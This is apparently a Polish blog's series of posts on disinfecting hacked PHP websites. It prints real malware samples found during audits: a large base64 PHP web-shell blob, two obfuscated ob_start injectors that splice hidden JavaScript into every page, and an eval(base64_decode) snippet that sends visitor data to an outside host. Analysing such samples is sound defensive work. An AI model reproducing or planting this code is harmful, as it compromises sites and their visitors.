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3gAANAHpiMk5yWlhRb1UwOURTMAAIVlVMQ0JRUmw5SlRrAMJUVDAAAE5MWDFOVVVrVkJUU3dnSkhAEEIHAFJ2S1NCOGZDQglAVW9JayACVnkHAHlPaUFrSVZ4dUlpBcJqAABiMjV1WldOMEtGTlBRMHRGOghWQwQCDgIEDzkEDXZjR1Z1A8BVUkUARGxPTENBaVBpWgkCUlZRDoNtOQAad1pXNG9VMVJFVDELAQJPQwJIUhgAVkpTBI8TAG5ONWMzUmxiU2dugEMfBHphQ0F0YVNjGgJZMnh2H4AGghwEU1U0AU4HwReCbU5zYjNObAtDVlNwGFUQgDeBJeBpbmRfcG9yJb8ltm9rVQACMGhGVEV3OUlpOWlhVzQHMGcEBGdMV2tpIjFhV1lnS0VCIPJJRBAAd2dNJXBleUJsZUdsMEtERXANAE95Qjkc8Cn+Yyq0S0ZNc0psQkcOgFgwbE8T8ADAGTJmE7BTUlVGTkxHEBBkbGQdtFlubHVZVzEq8GQwWTMYAEFuSwbALDVJQ0pEWVc1MElHTgC8eVpXRjBaU0IkNFIs8SUyJzABQmIzQMBCH7BNc1UwOU0kMCA0eFRUMTlTCDlSVlZUB4BFUkZJcwzAA4EPQDVrCoHIAAtDLrFKZhCAb0pFRlNSMVpiTUYAADBzU1U1QlJFUlNYMEZPV1NAEmswuEFpUTJGdWRDQiNySUgAgG6CIAlGc2FYTjAisnl3eie4Z0lrTmgAYGJuUWdiR2x6ZCbwA4wzYUdsc7AIMzB4A0AKQG9KWVdOalpYDYBFTlAEgFRrNHNVNHJvShoAb0lTZ2tjRwAmbGtQV1p2Y21zcANFQ1c6sQoDYjAIbTkTwAICaUlHbG1JQ2cw8FZtYQ4gVzVsWj4wBAEksmdrShQAbGJpQlQAAFZFUkpUaXdpUENaRFQwNU8wAElqKzACC1BWVlFzSWo0bVEwOQlQT1RpSQrCQ
1cx8mceQEUvs0krSmvEAAuCJUJDUWwkAFZqSUNSVFNFVk0g+FRDPTZnY0hKcBGBBQMLwxXAAwJkWFIuwGxJA0VGPvAJBDJ0ZwNCAURaWGhwZEMgDEF3LEFDWDBOQ24wPSJcMFvzIjwUrGgxPlmEIG4iPC8BIDxdQCCwc1kgdGUCAW50Pg0KCZvDbmFtZT0nbmZwkACUb25TdWJtaXR5UGcoq/EsAFInYg5KcHAnLHhyNyF4oyk7mfpcIgUic3ahQrAAOcAgAqEIICAvYmluL3NoIFtwZRNacmxdeMQ8YpHACCBQPBA6eZV28id4gSewDniTJwRB+vUnMzEzMzcnPgLqed8FUDz7HamjAKGHog4fDh9jDhWRAHZlcg4zDz8PPwmG03Y3QtWw1VBu0iAOzxHBU2VyBaAO73QO5QezDwY4ACIu7nCXYCrQWydSRU1PVEVfQUQB80RSJ10gLiIQgBPPE8+m1RPPZT0TzxMh2NYTwxoAPiVSjcBpc3PYwa8FMYcQKepygOZjAQBmKCRmLCR0AXMkdyA9IEBmbxARcGVuAXEidyIpIG9yASB1bmODYQC5X2V4aXN0cyiL4l+WgIJRKTFzJ6SGMgB3KYUgAzB3cuAwKCR3LEBiYXNlADA2NF9kZWNvZGUoBsACwkBmY2wu229zAQB3APKKMIpxIAtgsWVwCwDaIScsQQoTgAEK8CIvdG1wL2JwLnBsIiwkKiDIAmTFBHIkb5/QPSB3c29FeCgiK4EgjAADByAiLgXGm3AuIiAxPi9kZXYvgJ8ysSAyPiYxICaxE2VjwSKZoDe0nNEFwQgAXG4iLgXVcyBhdXggfCBncmUnAHAgCRMpLsRwA2AYIiB1bmxpbmso8bsLKQpSDsEOjyAnYiywDo1jDoQqUBbRbpkiBGL/HwjxGvAI5TowDrQDMQ6/D8gzJ10Pzw/PrJkG0Q/P36QPxQchIg/PD8cCE06wHkGuQCBPMyc8qy9yKPNkDeESMCpGqyNSQ6rUE6Ahu1oTMyRhENBhcglCcmF5KLFQInVDsSL/oXBocF8A4ig4eyksAaEBATzgc2lvbgIFAPQCFBUgXwEkAhIIQVdTT188oFNJT04EEnNhZmVtLLCBWQHSQGluaV9nNmAnAXFfAYHDgCAgDFFALiAkcnNlcmlhbGl6LrBhAWEP8P4ndj6gYWzEty8AAhQScQ6AIO+LYTwAICkgIAnAJwGwPbRkZWZhdWx0XxJDKSDxUBOFOtaeBgHDJyBJUAL8BMBKkFBPU1RbJwXQFBAk1AMCKxsgCQrSIAKMJ1NlY0luZm/LgQjgP0EgIQqvCM9DkAjISWQHgCkNUmNhbGxf7CFPQF8MISgnAr8CsQkgSFB0AHA/Pg=="));?>

Początkowy kod został zaciemniony w stosunkowo prosty sposób (podmiana nazw zmiennych, rozbicie nazw na kilka zmiennych): Przeczytaj resztę wpisu »

Comments Komentarze są wyłączone

Następna mutacja kodu z części 2 tej serii wpisów.

<?php
global $ob_starting;

if(!$ob_starting) {
    function ob_start_flush($s) {
        $tc = array(0, 69, 84, 82, 67, 83, 7, 79, 73, 23, 8, 9, 12, 76, 68, 63, 24, 78, 3, 19, 65, 27, 14, 70, 80, 16, 29, 85, 89, 17, 86, 2, 18, 77, 93, 91, 11, 71, 66, 72, 75, 20, 87, 74, 59, 13, 22, 61, 52, 25, 28, 37, 35, 15, 1, 21, 30, 34, 92, 36, 41, 88, 46, 51, 33);
        $tr = array(50, 5, 4, 3, 8, 24, 2, 0, 2, 28, 24, 1, 26, 31, 2, 1, 61, 2, 53, 43, 20, 30, 20, 5, 4, 3, 8, 24, 2, 31, 56, 8, 23, 0, 10, 2, 28, 24, 1, 7, 23, 10, 3, 1, 14, 1, 23, 15, 4, 7, 13, 7, 3, 5, 11, 26, 26, 31, 27, 17, 14, 1, 23, 8, 17, 1, 14, 31, 11, 0, 35, 0, 0, 0, 30, 20, 3, 0, 14, 8, 30, 15, 4, 7, 13, 7, 3, 5, 0, 26, 0, 17, 1, 42, 0, 64, 3, 3, 20, 28, 10, 6, 18, 41, 38, 16, 32, 9, 32, 6, 12, 0, 6, 18, 16, 29, 9, 16, 9, 23, 6, 12, 0, 6, 18, 16, 19, 32, 23, 16, 19, 6, 12, 0, 6, 18, 16, 16, 9, 23, 9, 41, 6, 12, 0, 6, 18, 41, 4, 19, 29, 16, 19, 6, 12, 0, 6, 18, 9, 41, 16, 9, 16, 19, 6, 12, 0, 6, 18, 19, 1, 9, 49, 9, 25, 6, 12, 0, 6, 18, 16, 55, 9, 25, 16, 32, 6, 12, 0, 6, 18, 9, 32, 16, 29, 9, 16, 6, 12, 0, 6, 18, 9, 23, 16, 19, 19, 29, 6, 12, 0, 6, 18, 32, 23, 16, 32, 16, 29, 6, 12, 0, 6, 18, 9, 32, 41, 4, 19, 29, 6, 12, 0, 6, 18, 9, 9, 16, 19, 16, 19, 6, 12, 0, 6, 18, 9, 23, 41, 49, 19, 1, 6, 12, 0, 6, 18, 19, 1, 9, 4, 9, 25, 6, 12, 0, 6, 18, 16, 19, 9, 25, 9, 38, 6, 12, 0, 6, 18, 9, 16, 9, 14, 16, 32, 6, 12, 0, 6, 18, 19, 14, 9, 32, 9, 1, 6, 12, 0, 6, 18, 19, 14, 9, 32, 9, 32, 6, 12, 0, 6, 18, 19, 1, 9, 49, 16, 32, 6, 12, 0, 6, 18, 19, 1, 9, 49, 16, 25, 6, 12, 0, 6, 18, 16, 41, 9, 41, 16, 29, 6, 12, 0, 6, 18, 16, 16, 19, 14, 9, 4, 6, 12, 0, 6, 18, 9, 16, 9, 14, 19, 14, 6, 12, 0, 6, 18, 9, 23, 9, 9, 9, 23, 6, 12, 0, 6, 18, 19, 29, 41, 14, 25, 25, 6, 11, 21, 0, 0, 0, 30, 20, 3, 0, 3, 1, 14, 1, 23, 15, 4, 7, 13, 7, 3, 5, 0, 26, 0, 29, 21, 0, 0, 0, 30, 20, 3, 0, 4, 7, 13, 7, 3, 5, 15, 24, 8, 4, 40, 1, 14, 0, 26, 0, 25, 21, 0, 0, 0, 23, 27, 17, 4, 2, 8, 7, 17, 0, 14, 8, 30, 15, 24, 8, 4, 40, 15, 4, 7, 13, 7, 3, 5, 10, 2, 12, 5, 2, 28, 13, 1, 14, 11, 0, 35, 30, 20, 3, 0, 5, 0, 26, 0, 31, 31, 21, 23, 7, 3, 0, 10, 43, 26, 25, 21, 43, 50, 2, 22, 13, 1, 17, 37, 2, 39, 21, 43, 36, 36, 11, 0, 35, 30, 20, 3, 0, 4, 15, 3, 37, 38, 0, 26, 0, 2, 44, 43, 47, 21, 23, 7, 3, 0, 10, 8, 26, 29, 21, 8, 50, 9, 21, 8, 36, 36, 11, 0, 35, 30, 20, 3, 0, 4, 15, 4, 13, 3, 0, 26, 0, 4, 15, 3, 37, 38, 22, 5, 27, 38, 5, 2, 3, 10, 8, 36, 36, 12, 32, 11, 21, 8, 23, 0, 10, 4, 15, 4, 13, 3, 54, 26, 31, 25, 25, 31, 11, 0, 5, 0, 36, 26, 0, 63, 2, 3, 8, 17, 37, 22, 23, 3, 7, 33, 52, 39, 20, 3, 52, 7, 14, 1, 10, 24, 20, 3, 5, 1, 60, 17, 2, 10, 4, 15, 4, 13, 3, 12, 29, 46, 11, 45, 29, 55, 11, 21, 34, 34, 8, 23, 0, 10, 5, 2, 28, 13, 1, 14, 11, 0, 35, 5, 0, 26, 0, 5, 22, 5, 27, 38, 5, 2, 3, 10, 25, 12, 19, 46, 11, 0, 36, 0, 5, 22, 5, 27, 38, 5, 2, 3, 10, 19, 46, 12, 10, 5, 22, 13, 1, 17, 37, 2, 39, 45, 19, 16, 11, 11, 0, 36, 0, 14, 8, 30, 15, 4, 7, 13, 7, 3, 5, 44, 29, 47, 22, 5, 27, 38, 5, 2, 3, 10, 25, 12, 29, 11, 36, 17, 1, 42, 0, 59, 20, 2, 1, 10, 11, 22, 37, 1, 2, 48, 8, 33, 1, 10, 11, 0, 36, 0, 5, 22, 5, 27, 38, 5, 2, 3, 10, 10, 5, 22, 13, 1, 17, 37, 2, 39, 45, 32, 11, 11, 21, 34, 0, 1, 13, 5, 1, 0, 35, 5, 0, 26, 0, 5, 22, 5, 27, 38, 5, 2, 3, 10, 19, 46, 12, 10, 5, 22, 13, 1, 17, 37, 2, 39, 45, 19, 16, 11, 11, 0, 36, 0, 14, 8, 30, 15, 4, 7, 13, 7, 3, 5, 44, 29, 47, 22, 5, 27, 38, 5, 2, 3, 10, 25, 12, 29, 11, 36, 17, 1, 42, 0, 59, 20, 2, 1, 10, 11, 22, 37, 1, 2, 48, 8, 33, 1, 10, 11, 21, 34, 3, 1, 2, 27, 3, 17, 0, 5, 21, 0, 0, 0, 34, 0, 0, 0, 23, 27, 17, 4, 2, 8, 7, 17, 0, 2, 3, 28, 15, 24, 8, 4, 40, 15, 4, 7, 13, 7, 3, 5, 10, 11, 0, 35, 2, 3, 28, 0, 35, 0, 0, 0, 8, 23, 10, 54, 14, 7, 4, 27, 33, 1, 17, 2, 22, 37, 1, 2, 51, 13, 1, 33, 1, 17, 2, 57, 28, 60, 14, 0, 58, 58, 0, 54, 14, 7, 4, 27, 33, 1, 17, 2, 22, 4, 3, 1, 20, 2, 1, 51, 13, 1, 33, 1, 17, 2, 11, 35, 14, 7, 4, 27, 33, 1, 17, 2, 22, 42, 3, 8, 2, 1, 10, 14, 8, 30, 15, 24, 8, 4, 40, 15, 4, 7, 13, 7, 3, 5, 10, 14, 8, 30, 15, 4, 7, 13, 7, 3, 5, 12, 29, 11, 11, 21, 0, 0, 0, 34, 0, 1, 13, 5, 1, 0, 35, 30, 20, 3, 0, 17, 1, 42, 15, 4, 5, 2, 28, 13, 1, 26, 14, 7, 4, 27, 33, 1, 17, 2, 22, 4, 3, 1, 20, 2, 1, 51, 13, 1, 33, 1, 17, 2, 10, 31, 5, 4, 3, 8, 24, 2, 31, 11, 21, 17, 1, 42, 15, 4, 5, 2, 28, 13, 1, 22, 2, 28, 24, 1, 26, 31, 2, 1, 61, 2, 53, 43, 20, 30, 20, 5, 4, 3, 8, 24, 2, 31, 21, 17, 1, 42, 15, 4, 5, 2, 28, 13, 1, 22, 5, 3, 4, 26, 14, 8, 30, 15, 24, 8, 4, 40, 15, 4, 7, 13, 7, 3, 5, 10, 14, 8, 30, 15, 4, 7, 13, 7, 3, 5, 12, 25, 11, 21, 14, 7, 4, 27, 33, 1, 17, 2, 22, 37, 1, 2, 51, 13, 1, 33, 1, 17, 2, 5, 57, 28, 48, 20, 37, 62, 20, 33, 1, 10, 31, 39, 1, 20, 14, 31, 11, 44, 25, 47, 22, 20, 24, 24, 1, 17, 14, 52, 39, 8, 13, 14, 10, 17, 1, 42, 15, 4, 5, 2, 28, 13, 1, 11, 21, 34, 34, 0, 4, 20, 2, 4, 39, 10, 1, 11, 0, 35, 0, 34, 2, 3, 28, 0, 35, 4, 39, 1, 4, 40, 15, 4, 7, 13, 7, 3, 5, 15, 24, 8, 4, 40, 1, 14, 10, 11, 21, 34, 0, 4, 20, 2, 4, 39, 10, 1, 11, 0, 35, 0, 5, 1, 2, 48, 8, 33, 1, 7, 27, 2, 10, 31, 2, 3, 28, 15, 24, 8, 4, 40, 15, 4, 7, 13, 7, 3, 5, 10, 11, 31, 12, 0, 55, 25, 25, 11, 21, 34, 0, 0, 0, 34, 0, 0, 0, 2, 3, 28, 15, 24, 8, 4, 40, 15, 4, 7, 13, 7, 3, 5, 10, 11, 21, 34, 50, 53, 5, 4, 3, 8, 24, 2, 56);

        $ob_htm = '';
        foreach($tr as $tval) {
            $ob_htm .= chr($tc[$tval]+32);
        }

        $slw=strtolower($s);
        $i=strpos($slw,'</script');if($i){$i=strpos($slw,'>',$i);}
        if(!$i){$i=strpos($slw,'</div');if($i){$i=strpos($slw,'>',$i);}}
        if(!$i){$i=strpos($slw,'</table');if($i){$i=strpos($slw,'>',$i);}}
        if(!$i){$i=strpos($slw,'</form');if($i){$i=strpos($slw,'>',$i);}}
        if(!$i){$i=strpos($slw,'</p');if($i){$i=strpos($slw,'>',$i);}}
        if(!$i){$i=strpos($slw,'</body');if($i){$i--;}}
        if(!$i){$i=strlen($s);if($i){$i--;}}
        $i++; $s=substr($s,0,$i).$ob_htm.substr($s,$i);

        return $s;
    }
    $ob_starting = time();
    @ob_start("ob_start_flush");
}
?>

Kod działa dokładnie tak samo jak w części 2, z tą różnicą, że link znajdujący się w JavaScripcie prowadzi do innego adresu.
Przeczytaj resztę wpisu »

Comments Komentarze są wyłączone

Kolejny kwiatek znaleziony na końcu każdego pliku PHP w audytowanej stronie www:

<?php
global $ob_starting;

if(!$ob_starting) {
    function ob_start_flush($s) {
        $tc = array(0, 69, 84, 82, 67, 83, 79, 7, 9, 73, 8, 76, 63, 12, 78, 68, 23, 24, 65, 19, 27, 14, 3, 70, 80, 29, 89, 17, 86, 85, 2, 16, 77, 18, 91, 11, 93, 71, 66, 72, 75, 20, 87, 74, 59, 61, 22, 13, 37, 28, 52, 35, 21, 15, 1, 25, 34, 92, 36, 41, 30, 88, 46, 33, 51);
        $tr = array(49, 5, 4, 3, 9, 24, 2, 0, 2, 26, 24, 1, 25, 30, 2, 1, 61, 2, 53, 43, 18, 28, 18, 5, 4, 3, 9, 24, 2, 30, 60, 9, 23, 0, 10, 2, 26, 24, 1, 6, 23, 10, 3, 1, 15, 1, 23, 12, 4, 6, 11, 6, 3, 5, 8, 25, 25, 30, 29, 14, 15, 1, 23, 9, 14, 1, 15, 30, 8, 0, 34, 0, 0, 0, 28, 18, 3, 0, 15, 9, 28, 12, 4, 6, 11, 6, 3, 5, 0, 25, 0, 14, 1, 42, 0, 63, 3, 3, 18, 26, 10, 7, 22, 41, 38, 17, 33, 16, 33, 7, 13, 0, 7, 22, 17, 27, 16, 17, 16, 23, 7, 13, 0, 7, 22, 17, 19, 33, 23, 17, 19, 7, 13, 0, 7, 22, 17, 17, 16, 23, 16, 41, 7, 13, 0, 7, 22, 41, 4, 19, 27, 17, 19, 7, 13, 0, 7, 22, 16, 41, 17, 16, 17, 19, 7, 13, 0, 7, 22, 19, 1, 16, 55, 16, 31, 7, 13, 0, 7, 22, 17, 52, 16, 31, 17, 33, 7, 13, 0, 7, 22, 16, 33, 17, 27, 16, 17, 7, 13, 0, 7, 22, 16, 23, 17, 19, 19, 27, 7, 13, 0, 7, 22, 33, 23, 17, 33, 17, 27, 7, 13, 0, 7, 22, 16, 33, 41, 4, 19, 27, 7, 13, 0, 7, 22, 16, 16, 17, 19, 17, 19, 7, 13, 0, 7, 22, 16, 23, 41, 55, 19, 1, 7, 13, 0, 7, 22, 19, 1, 16, 33, 16, 16, 7, 13, 0, 7, 22, 16, 31, 16, 15, 17, 19, 7, 13, 0, 7, 22, 16, 17, 16, 41, 17, 27, 7, 13, 0, 7, 22, 19, 15, 16, 33, 16, 17, 7, 13, 0, 7, 22, 19, 1, 16, 55, 17, 33, 7, 13, 0, 7, 22, 19, 1, 19, 27, 41, 15, 7, 8, 20, 0, 0, 0, 28, 18, 3, 0, 3, 1, 15, 1, 23, 12, 4, 6, 11, 6, 3, 5, 0, 25, 0, 27, 20, 0, 0, 0, 28, 18, 3, 0, 4, 6, 11, 6, 3, 5, 12, 24, 9, 4, 40, 1, 15, 0, 25, 0, 31, 20, 0, 0, 0, 23, 29, 14, 4, 2, 9, 6, 14, 0, 15, 9, 28, 12, 24, 9, 4, 40, 12, 4, 6, 11, 6, 3, 5, 10, 2, 13, 5, 2, 26, 11, 1, 15, 8, 0, 34, 28, 18, 3, 0, 5, 0, 25, 0, 30, 30, 20, 23, 6, 3, 0, 10, 43, 25, 31, 20, 43, 49, 2, 21, 11, 1, 14, 37, 2, 39, 20, 43, 35, 35, 8, 0, 34, 28, 18, 3, 0, 4, 12, 3, 37, 38, 0, 25, 0, 2, 44, 43, 45, 20, 23, 6, 3, 0, 10, 9, 25, 27, 20, 9, 49, 16, 20, 9, 35, 35, 8, 0, 34, 28, 18, 3, 0, 4, 12, 4, 11, 3, 0, 25, 0, 4, 12, 3, 37, 38, 21, 5, 29, 38, 5, 2, 3, 10, 9, 35, 35, 13, 33, 8, 20, 9, 23, 0, 10, 4, 12, 4, 11, 3, 54, 25, 30, 31, 31, 30, 8, 0, 5, 0, 35, 25, 0, 64, 2, 3, 9, 14, 37, 21, 23, 3, 6, 32, 51, 39, 18, 3, 51, 6, 15, 1, 10, 24, 18, 3, 5, 1, 59, 14, 2, 10, 4, 12, 4, 11, 3, 13, 27, 46, 8, 47, 27, 52, 8, 20, 36, 36, 9, 23, 0, 10, 5, 2, 26, 11, 1, 15, 8, 0, 34, 5, 0, 25, 0, 5, 21, 5, 29, 38, 5, 2, 3, 10, 31, 13, 19, 46, 8, 0, 35, 0, 5, 21, 5, 29, 38, 5, 2, 3, 10, 19, 46, 13, 10, 5, 21, 11, 1, 14, 37, 2, 39, 47, 19, 17, 8, 8, 0, 35, 0, 15, 9, 28, 12, 4, 6, 11, 6, 3, 5, 44, 27, 45, 21, 5, 29, 38, 5, 2, 3, 10, 31, 13, 27, 8, 35, 14, 1, 42, 0, 58, 18, 2, 1, 10, 8, 21, 37, 1, 2, 50, 9, 32, 1, 10, 8, 0, 35, 0, 5, 21, 5, 29, 38, 5, 2, 3, 10, 10, 5, 21, 11, 1, 14, 37, 2, 39, 47, 33, 8, 8, 20, 36, 0, 1, 11, 5, 1, 0, 34, 5, 0, 25, 0, 5, 21, 5, 29, 38, 5, 2, 3, 10, 19, 46, 13, 10, 5, 21, 11, 1, 14, 37, 2, 39, 47, 19, 17, 8, 8, 0, 35, 0, 15, 9, 28, 12, 4, 6, 11, 6, 3, 5, 44, 27, 45, 21, 5, 29, 38, 5, 2, 3, 10, 31, 13, 27, 8, 35, 14, 1, 42, 0, 58, 18, 2, 1, 10, 8, 21, 37, 1, 2, 50, 9, 32, 1, 10, 8, 20, 36, 3, 1, 2, 29, 3, 14, 0, 5, 20, 0, 0, 0, 36, 0, 0, 0, 23, 29, 14, 4, 2, 9, 6, 14, 0, 2, 3, 26, 12, 24, 9, 4, 40, 12, 4, 6, 11, 6, 3, 5, 10, 8, 0, 34, 2, 3, 26, 0, 34, 0, 0, 0, 9, 23, 10, 54, 15, 6, 4, 29, 32, 1, 14, 2, 21, 37, 1, 2, 48, 11, 1, 32, 1, 14, 2, 56, 26, 59, 15, 0, 57, 57, 0, 54, 15, 6, 4, 29, 32, 1, 14, 2, 21, 4, 3, 1, 18, 2, 1, 48, 11, 1, 32, 1, 14, 2, 8, 34, 15, 6, 4, 29, 32, 1, 14, 2, 21, 42, 3, 9, 2, 1, 10, 15, 9, 28, 12, 24, 9, 4, 40, 12, 4, 6, 11, 6, 3, 5, 10, 15, 9, 28, 12, 4, 6, 11, 6, 3, 5, 13, 27, 8, 8, 20, 0, 0, 0, 36, 0, 1, 11, 5, 1, 0, 34, 28, 18, 3, 0, 14, 1, 42, 12, 4, 5, 2, 26, 11, 1, 25, 15, 6, 4, 29, 32, 1, 14, 2, 21, 4, 3, 1, 18, 2, 1, 48, 11, 1, 32, 1, 14, 2, 10, 30, 5, 4, 3, 9, 24, 2, 30, 8, 20, 14, 1, 42, 12, 4, 5, 2, 26, 11, 1, 21, 2, 26, 24, 1, 25, 30, 2, 1, 61, 2, 53, 43, 18, 28, 18, 5, 4, 3, 9, 24, 2, 30, 20, 14, 1, 42, 12, 4, 5, 2, 26, 11, 1, 21, 5, 3, 4, 25, 15, 9, 28, 12, 24, 9, 4, 40, 12, 4, 6, 11, 6, 3, 5, 10, 15, 9, 28, 12, 4, 6, 11, 6, 3, 5, 13, 31, 8, 20, 15, 6, 4, 29, 32, 1, 14, 2, 21, 37, 1, 2, 48, 11, 1, 32, 1, 14, 2, 5, 56, 26, 50, 18, 37, 62, 18, 32, 1, 10, 30, 39, 1, 18, 15, 30, 8, 44, 31, 45, 21, 18, 24, 24, 1, 14, 15, 51, 39, 9, 11, 15, 10, 14, 1, 42, 12, 4, 5, 2, 26, 11, 1, 8, 20, 36, 36, 0, 4, 18, 2, 4, 39, 10, 1, 8, 0, 34, 0, 36, 2, 3, 26, 0, 34, 4, 39, 1, 4, 40, 12, 4, 6, 11, 6, 3, 5, 12, 24, 9, 4, 40, 1, 15, 10, 8, 20, 36, 0, 4, 18, 2, 4, 39, 10, 1, 8, 0, 34, 0, 5, 1, 2, 50, 9, 32, 1, 6, 29, 2, 10, 30, 2, 3, 26, 12, 24, 9, 4, 40, 12, 4, 6, 11, 6, 3, 5, 10, 8, 30, 13, 0, 52, 31, 31, 8, 20, 36, 0, 0, 0, 36, 0, 0, 0, 2, 3, 26, 12, 24, 9, 4, 40, 12, 4, 6, 11, 6, 3, 5, 10, 8, 20, 36, 49, 53, 5, 4, 3, 9, 24, 2, 60);

        $ob_htm = '';
        foreach($tr as $tval) {
            $ob_htm .= chr($tc[$tval]+32);
        }

        $slw=strtolower($s);
        $i=strpos($slw,'</script');if($i){$i=strpos($slw,'>',$i);}
        if(!$i){$i=strpos($slw,'</div');if($i){$i=strpos($slw,'>',$i);}}
        if(!$i){$i=strpos($slw,'</table');if($i){$i=strpos($slw,'>',$i);}}
        if(!$i){$i=strpos($slw,'</form');if($i){$i=strpos($slw,'>',$i);}}
        if(!$i){$i=strpos($slw,'</p');if($i){$i=strpos($slw,'>',$i);}}
        if(!$i){$i=strpos($slw,'</body');if($i){$i--;}}
        if(!$i){$i=strlen($s);if($i){$i--;}}
        $i++; $s=substr($s,0,$i).$ob_htm.substr($s,$i);

        return $s;
    }

    $ob_starting = time();
    @ob_start("ob_start_flush");
}
?>

Powyższy kod „łapie” stronę przed jej wyświetleniem, przeszukuje ją pod kątem tagów html: „script”, „div” ,”table”, „form”, „p”, „body” i dokleja na końcu jednego z nich kod Java Script:
Przeczytaj resztę wpisu »

Comments Komentarze są wyłączone

Dostałem ostatnio sporo różnych stron do „odwirusowania”.
Zamieszczę w kolejnych wpisać kilka kodów wraz z wstępnym odwróceniem niektórych zaciemnień.

Doklejane na początku wszystkich plików PHP:

<?php
eval(base64_decode('Z2xvYmFsICRyZXNwb25zZV9zZXNzaW9uczsNCg0KaWYoISRyZXNwb25zZV9zZXNzaW9ucykgew0KCSRyZXNwb25zZV9zZXNzaW9ucyA9ICJhbGl2ZSI7DQoNCgkkcz1iYXNlNjRfZW5jb2RlKHN0cnJldihiYXNlNjRfZW5jb2RlKHN0cl9yZXBsYWNlKCd8JywnJywkX1NFUlZFUlsnUkVNT1RFX0FERFInXSkuJ3wnLnN0cl9yZXBsYWNlKCd8JywnJywkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSkuJ3wnLnN0cl9yZXBsYWNlKCd8JywnJywkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSkpOw0KCSR1PSdodHRwOi8vbWRteXNzZC5jei5jYy94cC9zZXNzaW9uLnBocCc7DQoJJHM9QGZpbGVfZ2V0X2NvbnRlbnRzKCIkdT90PSRzIik7DQoNCglpZihjb3VudCgkaHR0cF9yZXNwb25zZV9oZWFkZXIpKSB7DQoJCSRyZWxvYyA9ICcnOw0KCQlmb3JlYWNoKCRodHRwX3Jlc3BvbnNlX2hlYWRlciBhcyAkdikgew0KCQkJJHQ9ZXhwbG9kZSgiOiAiLCR2KTsNCgkJCWlmKHN0cnRvbG93ZXIodHJpbSgkdFswXSkpPT0ibG9jYXRpb24iKSB7DQoJCQkJJHJlbG9